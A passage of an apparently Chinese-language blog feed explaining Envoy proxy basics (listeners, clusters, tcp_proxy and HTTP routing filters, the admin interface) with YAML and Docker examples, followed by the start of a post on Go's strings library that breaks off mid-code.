title="连接处理"></a>连接处理</h4><p>Envoy通过侦听器监听套接字并接收客户端请求，而Envoy的所有工作线程会同时共同监听用户配置的所有套接字，对于某次连接请求，由内核负责将其派发至某个具体的工作线程处理; 随后，相关的工作线程基于特定的处理逻辑分别由相关组件依次完成连接管理</p><p><img src="/2021/06/08/Envoy-1-%E6%A6%82%E8%BF%B0/%E8%BF%9E%E6%8E%A5%E5%A4%84%E7%90%86.png" alt="连接处理"></p><h4 id="部署方式"><a href="#部署方式" class="headerlink" title="部署方式"></a>部署方式</h4><p>Ingress or Egress, 该种方式主要以Sidecar的形式和业务容器运行于同一个pod中, 代理业务容器的输入和输出流量.</p><p>Envoy proxy: 作为一个网关独立运行于一个pod,代理入口流量(流入服务网格的流量)</p><p>Envoy通常用于以容器编排系统 (k8s) 为底层环境的服务网格中，并以sidecar的形式与主程序容器运行为单个Pod；</p><p>非编排系统环境中测试时，可以将主程序与Envoy运行于同一容器，或手动组织主程序容器与Envoy容器共享同一网络名称空间；</p><h4 id="基础示例"><a href="#基础示例" class="headerlink" title="基础示例"></a>基础示例</h4><p>配置文件</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">static_resources:</span></span><br><span class="line"> <span class="attr">listeners:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">listener_0</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"> <span class="attr">port_value:</span> <span class="number">15001</span></span><br><span class="line"> <span class="attr">fileter_chains:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">fileters:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.echo</span></span><br></pre></td></tr></table></figure><p>基于官方的envoy镜像启动</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 拉取envoy镜像</span></span><br><span class="line">docker pull envoyproxy/envoy-alpine:v1.18-latest</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 制作dockerfile</span></span><br><span class="line">FROM envoyproxy/envoy-alpine:v1.18-latest</span><br><span class="line">ADD envoy.yaml /etc/envoy/</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> build</span></span><br><span class="line">docker build . envoy-echo:v0.1</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 启动</span></span><br><span class="line">docker container run --name echo --rm envoy-echo:v0.1</span><br></pre></td></tr></table></figure><h4 id="配置信息"><a href="#配置信息" class="headerlink" title="配置信息"></a>配置信息</h4><h5 id="Listener"><a href="#Listener" class="headerlink" title="Listener"></a>Listener</h5><p>静态指定方式</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">listeners:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">listener_0</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="string">{</span> <span class="attr">address:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span><span class="string">,</span> <span class="attr">port_value:</span> <span class="number">80</span> <span class="string">}</span></span><br><span class="line"> <span class="attr">fileter_chains:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">fileters:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.tcp.proxy</span></span><br><span class="line"> <span class="attr">typed_config:</span></span><br><span class="line"> <span class="string">"@type"</span><span class="string">:</span> <span class="string">extensions.filters.network.tcp_proxy.v3.TcpProxy</span></span><br><span class="line"> <span class="attr">stat_prefix:</span> <span class="string">tcp</span></span><br><span class="line"> <span class="attr">cluster:</span> <span class="string">test_cluster</span></span><br></pre></td></tr></table></figure><h5 id="cluster"><a href="#cluster" class="headerlink" title="cluster"></a>cluster</h5><p>静态指定方式</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span> <span class="comment"># 集群的惟一名称，且未提供alt_stat_name时将会被用于统计信息中；</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="comment"># 连接超时时间</span></span><br><span class="line"> <span class="attr">alt_stat_name:</span> <span class="string">...</span> <span class="comment"># 统计信息中使用的集群代名称；</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">...</span> <span class="comment"># 用于解析集群（生成集群端点）时使用的服务发现类型，可用值有STATIC、STRICT_DNS、LOGICAL_DNS、ORIGINAL_DST和EDS等；</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="comment"># 负载均衡算法，支持ROUND_ROBIN、LEAST_REQUEST、RING_HASH、RANDOM、MAGLEV和CLUSTER_PROVIDED；</span></span><br><span class="line"> <span class="attr">load_assignment:</span> <span class="comment"># 为STATIC、STRICT_DNS或LOGICAL_DNS类型的集群指定成员获取方式；EDS类型的集成要使用eds_cluster_config字段配置；</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">...</span> <span class="comment"># 集群名称；</span></span><br><span class="line"><span class="attr">endpoints:</span> <span class="comment"># 端点列表；</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">locality:</span> <span class="string">{}</span> <span class="comment"># 标识上游主机所处的位置，通常以region、zone等进行标识；可以不设置，而单独设置lb_endpoints</span></span><br><span class="line"> <span class="attr">lb_endpoints:</span> <span class="comment"># 属于指定位置的端点列表；</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">endpoint_name:</span> <span class="string">...</span> <span class="comment"># 端点的名称；</span></span><br><span class="line"><span class="attr">endpoint:</span> <span class="comment"># 端点定义；</span></span><br><span class="line"> <span class="attr">socket_adddress:</span> <span class="comment"># 端点地址标识；</span></span><br><span class="line"><span class="attr">address:</span> <span class="string">...</span> <span class="comment"># 端点地址；</span></span><br><span class="line"><span class="attr">port_value:</span> <span class="string">...</span> <span class="comment"># 端点端口；</span></span><br><span class="line"><span class="attr">protocol:</span> <span class="string">...</span> <span class="comment"># 协议类型；</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#示例</span></span><br><span class="line"><span class="attr">clusters:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">test_cluster</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">STATIC</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="string">ROUND_ROBIN</span></span><br><span class="line"> <span class="attr">load_assignment:</span></span><br><span class="line"> <span class="attr">cluster_name:</span> <span class="string">test_cluster</span></span><br><span class="line"> <span class="attr">endpoints:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">lb_endpoints:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">endpoint:</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="string">{</span> <span class="attr">address:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span><span class="string">,</span> <span class="attr">port_value:</span> <span class="number">8081</span> <span class="string">}</span></span><br></pre></td></tr></table></figure><h4 id="过滤器"><a href="#过滤器" class="headerlink" title="过滤器"></a>过滤器</h4><h5 id="tcp-proxy"><a href="#tcp-proxy" class="headerlink" title="tcp_proxy"></a>tcp_proxy</h5><p>TCP代理过滤器在下游客户端及上游集群之间执行1:1网络连接代理：</p><ul><li>它可以单独用作隧道替换，也可以同其他过滤器（如MongoDB过滤器或速率限制过滤器 ）结合使用；</li><li>TCP代理过滤器严格执行由全局资源管理于为每个上游集群的全局资源管理器设定的连接限制；<ul><li>TCP代理过滤器检查上游集群的资源管理器是否可以在不超过该集群的最大连接数的情况下创建连接；</li></ul></li><li>TCP代理过滤器可直接将请求路由至指定的集群，也能够在多个目标集群间基于权重进行调度转发</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/network/tcp_proxy/v3/tcp_proxy.proto#extensions-filters-network-tcp-proxy-v3-tcpproxy</span></span><br><span class="line"><span class="string">{</span></span><br><span class="line"><span class="attr">"stat_prefix":</span> <span class="string">"..."</span><span class="string">,</span> <span class="comment"># 用于统计数据中输出时使用的前缀字符；</span></span><br><span class="line"><span class="attr">"cluster":</span> <span class="string">"..."</span><span class="string">,</span> <span class="comment"># 路由到的目标集群标识；</span></span><br><span class="line"><span class="attr">"weighted_clusters":</span> <span class="string">"{...}"</span><span class="string">,</span> <span class="comment"># 路由多个集群的权重</span></span><br><span class="line"><span class="attr">"metadata_match":</span> <span class="string">"{...}"</span><span class="string">,</span> <span class="comment"># </span></span><br><span class="line"><span class="attr">"idle_timeout":</span> <span class="string">"{...}"</span><span class="string">,</span> <span class="comment"># 上下游连接间的超时时长，即没有发送和接收报文的超时时长；</span></span><br><span class="line"><span class="attr">"access_log":</span> <span class="string">[],</span> <span class="comment"># 访问日志；</span></span><br><span class="line"><span class="attr">"max_connect_attempts":</span> <span class="string">"{...}"</span> <span class="comment"># 最大连接尝试次数；</span></span><br><span class="line"><span class="attr">"hash_policy":</span> <span class="string">[],</span> <span class="comment"># 根据提供的源ip进行路由，目前只支持主机随机方式</span></span><br><span class="line"><span class="attr">"max_downstream_connection_duration":</span> <span class="string">"{...}"</span> <span class="comment"># 下游连接间隔</span></span><br><span class="line"><span class="string">}</span></span><br></pre></td></tr></table></figure><h5 id="http-connection-manager"><a href="#http-connection-manager" class="headerlink" title="http_connection_manager"></a>http_connection_manager</h5><p>引入L7过滤器链实现了对http协议的操纵， 其中router过滤器用于配置路由转发；</p><ul><li><p>处理请求时，Envoy首先根据下游客户端请求的“host”来搜索虚拟主机列表中各virtual_host中的domains列表中的定义，第一个匹配到的Domain的定义所属的virtual_host即可处理请求的虚拟主机；</p></li><li><p>之后搜索当前虚拟主机中的routes列表中的路由列表中各路由条目的match的定义，第一个匹配到的match后的路由机制（route、redirect或 direct_response）即生效；</p></li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/network/http_connection_manager/v3/http_connection_manager.proto#extensions-filters-network-http-connection-manager-v3-httpconnectionmanager</span></span><br><span class="line"><span class="attr">listeners:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="string">{</span> <span class="attr">address:</span> <span class="string">...,</span> <span class="attr">port_value:</span> <span class="string">...,</span> <span class="attr">protocol:</span> <span class="string">...</span> <span class="string">}</span></span><br><span class="line"> <span class="attr">filter_chains:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">filters:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.http_connection_manager</span></span><br><span class="line"> <span class="attr">config:</span></span><br><span class="line"> <span class="attr">condec_type:</span> <span class="string">...</span> <span class="comment"># 连接管理器使用的编解码器类型，可用值有AUTO、HTTP1和HTTP2；</span></span><br><span class="line"> <span class="attr">stat_prefix:</span> <span class="string">...</span> <span class="comment"># 统计信息中使用的易读性的信息前缀；</span></span><br><span class="line"> <span class="attr">route_config:</span> <span class="comment"># 静态路由配置；动态配置应该使用rds字段进行指定；</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">...</span> <span class="comment"># 路由配置的名称；</span></span><br><span class="line"> <span class="attr">virtual_hosts:</span> <span class="comment"># 虚拟主机列表，用于构成路由表；</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span> <span class="comment"># 虚拟主机的逻辑名称，用于统计信息，与路由无关；</span></span><br><span class="line"> <span class="attr">domains:</span> <span class="string">[]</span> <span class="comment"># 当前虚拟主机匹配的域名列表，支持使用“*”通配符；匹配搜索次序为精确匹配、前缀通配、后缀通配及完全通配；</span></span><br><span class="line"> <span class="attr">routes:</span> <span class="string">[]</span> <span class="comment"># 路由列表，按顺序搜索，第一个匹配到路由信息；</span></span><br><span class="line"> <span class="attr">http_filters:</span> <span class="comment"># 定义http过滤器链</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.router</span> <span class="comment"># 调用的过滤器为envoy.router</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 示例，egress配置</span></span><br><span class="line"><span class="attr">static_resources:</span></span><br><span class="line"> <span class="attr">listeners:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">listener_0</span></span><br><span class="line"><span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="string">{</span> <span class="attr">address:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span><span class="string">,</span> <span class="attr">port_value:</span> <span class="number">80</span> <span class="string">}</span></span><br><span class="line"><span class="attr">filter_chains:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">filters:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.http_connection_manager</span></span><br><span class="line"><span class="attr">config:</span></span><br><span class="line"> <span class="attr">stat_prefix:</span> <span class="string">egress_http</span></span><br><span class="line"> <span class="attr">codec_type:</span> <span class="string">AUTO</span></span><br><span class="line"> <span class="attr">route_config:</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">test_route</span> </span><br><span class="line"><span class="attr">virtual_hosts:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">web_service_1</span></span><br><span class="line"> <span class="attr">domains:</span> <span class="string">["*.ik8s.io",</span> <span class="string">"ik8s.io"</span><span class="string">]</span></span><br><span class="line"> <span class="attr">routes:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">match:</span> <span class="string">{</span> <span class="attr">prefix:</span> <span class="string">"/"</span> <span class="string">}</span></span><br><span class="line"><span class="attr">route:</span> <span class="string">{</span> <span class="attr">cluster:</span> <span class="string">web_cluster_1</span> <span class="string">}</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">web_service_2</span></span><br><span class="line"> <span class="attr">domains:</span> <span class="string">["*.k8scast.cn","k8scast.cn"]</span></span><br><span class="line"> <span class="attr">routes:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">match:</span> <span class="string">{</span> <span class="attr">prefix:</span> <span class="string">"/"</span> <span class="string">}</span></span><br><span class="line"><span class="attr">redirect:</span></span><br><span class="line"> <span class="attr">host_redirect:</span> <span class="string">"www.ik8s.io"</span> </span><br><span class="line"> <span class="attr">http_filters:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.router</span></span><br></pre></td></tr></table></figure><p>路由配置</p><p>route_config.virtual_hosts.routes配置的路由信息用于将下游的客户端请求路由至合适的上游集群中某Server上；</p><ul><li><p>其路由方式是将url匹配match字段的定义 </p><ul><li>match字段可通过prefix（前缀）、path（路径）或regex（正则表达式）三者之一来表示匹配模式；</li></ul></li><li><p>与match相关的请求将由route、redirect或direct_response三个字段其中之一完成路由；</p></li><li><p>由route定义的路由目标必须是cluster（上游集群名称）、cluster_header（根据请求标头中的cluster_header的值确定目标集群）或weighted_clusters（路由目标有多个集群，每个集群拥有一定的权重）其中之一；</p></li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># routes示例</span></span><br><span class="line"><span class="attr">routes:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span> <span class="comment"># 此路由条目的名称；</span></span><br><span class="line"> <span class="attr">match:</span></span><br><span class="line"><span class="attr">prefix:</span> <span class="string">...</span> <span class="comment"># 请求的URL的前缀；</span></span><br><span class="line"> <span class="attr">route:</span> <span class="comment"># 路由条目；</span></span><br><span class="line"> <span class="attr">cluster:</span> <span class="comment"># 目标下游集群；</span></span><br></pre></td></tr></table></figure><h4 id="管理接口"><a href="#管理接口" class="headerlink" title="管理接口"></a>管理接口</h4><p>Envoy内建了一个管理接口，它支持查询和修改操作以及私有数据（例如统计数据、集群名称和证书信息等）</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">admin:</span></span><br><span class="line"> <span class="attr">access_log_path:</span> <span class="string">...</span> <span class="comment"># 管理接口的访问日志文件路径，无须记录访问日志时使用/dev/null</span></span><br><span class="line"> <span class="attr">profile_path:</span> <span class="string">...</span> <span class="comment"># cpu profiler的输出路径，默认为/var/log/envoy/envoy.prof</span></span><br><span class="line"> <span class="attr">address:</span> <span class="comment"># 监听的套接字；</span></span><br><span class="line"><span class="attr">socket_address:</span></span><br><span class="line"> <span class="attr">protocol:</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">address:</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">port_value:</span> <span class="string">...</span></span><br><span class="line"> </span><br><span class="line"><span class="comment"># 示例</span></span><br><span class="line"><span class="attr">admin:</span></span><br><span class="line"> <span class="attr">access_log_path:</span> <span class="string">/dev/null</span></span><br><span class="line"> <span class="attr">address:</span></span><br><span class="line"> <span class="attr">socket_address:</span> <span class="string">{</span> <span class="attr">address:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span><span class="string">,</span> <span class="attr">port_value:</span> <span class="number">9901</span> <span class="string">}</span></span><br></pre></td></tr></table></figure><p>admin接口内置了多个/path，不同的path可能会分别接受不同的GET或POST请求；<br>GET /help：打印所有可用选项；</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin commands are:/: Admin home page # GET/certs: print certs on machine # GET，列出已加载的所有TLS证书及相关的信息；/clusters: upstream cluster status # GET，额外支持使用“GET /clusters?format=json”/config_dump: dump current Envoy configs (experimental) # GET，打印Envoy加载的各类配置信息；/contention: dump current Envoy mutex contention stats (if enabled) # GET，互斥跟踪/cpuprofiler: enable/disable the CPU profiler # POST，启用或禁用cpuprofiler/healthcheck/fail: cause the server to fail health checks # POST，强制设定HTTP健康状态检查为失败；/healthcheck/ok: cause the server to pass health checks # POST，强制设定HTTP健康状态检查为成功；/heapprofiler: enable/disable the heap profiler # POST，启用或禁用heapprofiler；/help: print out list of admin commands/hot_restart_version: print the hot restart compatibility version # GET，打印热重启相关的信息；/listeners: print listener addresses # GET，列出所有侦听器，支持使用“GET /listeners?format=json”/logging: query/change logging levels # POST，启用或禁用不同子组件上的不同日志记录级别/memory: print current allocation/heap usage # POST，打印当前内在分配信息，以字节为单位；/quitquitquit: exit the server # POST，干净退出服务器；/reset_counters: reset all counters to zero # POST，重置所有计数器；/runtime: print runtime values # GET，以json格式输出所有运行时相关值；/runtime_modify: modify runtime values # POST /runtime_modify?key1=value1&key2=value2，添加或修改在查询参数中传递的运行时值/server_info: print server version/status information # GET，打印当前Envoy Server的相关信息；/stats: print server stats # 按需输出统计数据，例如GET /stats?filter=regex，另外还支持json和prometheus两种输出格式；/stats/prometheus: print server stats in prometheus format # 输出prometheus格式的统计信息；</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="微服务如何治理"><a href="#微服务如何治理" class="headerlink" title="微服务如何治理"></a>微服务如何治理</h3><p>服务治理就是对服务不断增长的复杂度的管控及管理，这里主要涉及到k8s和service mesh。</p>
<p>Kubernetes提供了强大的应用部署、升级和弹性伸缩等管理机制，并借助于Service 等实现了服务注册、发现以及负载均衡；它本质是应用的生命周期管理，为服务提供了可扩展、高弹性的部署和管理平台。</p>
<p>Service mesh（服务网格）提供应用间的流量管理，拦截微服务间的流量交由其控制平面来决定是否做额外的操作，它将流量控制从k8s中解耦。</p>
</summary>
<category term="微服务" scheme="http://yoursite.com/categories/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"/>
<category term="Envoy" scheme="http://yoursite.com/tags/Envoy/"/>
</entry>
<entry>
<title>Go常用库</title>
<link href="http://yoursite.com/2020/11/14/Go%E5%B8%B8%E7%94%A8%E5%BA%93/"/>
<id>http://yoursite.com/2020/11/14/Go%E5%B8%B8%E7%94%A8%E5%BA%93/</id>
<published>2020-11-14T06:07:13.000Z</published>
<updated>2020-12-03T15:17:03.414Z</updated>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>主要记录学习遇到的库，以及基本用法，后续会不断更新与完善，以便查阅。</p><a id="more"></a><h3 id="strings"><a href="#strings" class="headerlink" title="strings"></a>strings</h3><p>字符串常用库函数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line"> <span class="string">"strings"</span></span><br><span class="line"> <span class="string">"unicode"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Compare-> a>b:1 a=b:0 a<b:-1</span></span><br><span class="line"><span class="comment">// EqualFold-> 忽略大小写比较大小</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringCompare</span><span class="params">(a,b <span class="keyword">string</span>)</span></span> {</span><br><span class="line"> <span class="comment">// compare</span></span><br><span class="line"> a = <span class="string">"gopher"</span></span><br><span class="line"> b = <span class="string">"hello world"</span></span><br><span class="line"> fmt.Println(strings.Compare(a, b))</span><br><span class="line"> fmt.Println(strings.Compare(a, a))</span><br><span class="line"> fmt.Println(strings.Compare(b, a))</span><br><span class="line"></span><br><span class="line"> fmt.Println(strings.EqualFold(<span class="string">"GO"</span>, <span class="string">"go"</span>))</span><br><span class="line"> fmt.Println(strings.EqualFold(<span class="string">"壹"</span>, <span class="string">"一"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Contains(s,substr)-> substr是否在s中</span></span><br><span class="line"><span class="comment">// ContainsAny(s,chars)-> chars中任何一个字符在s中有则true</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringSubstr</span><span class="params">()</span></span> {</span><br><span class="line"> 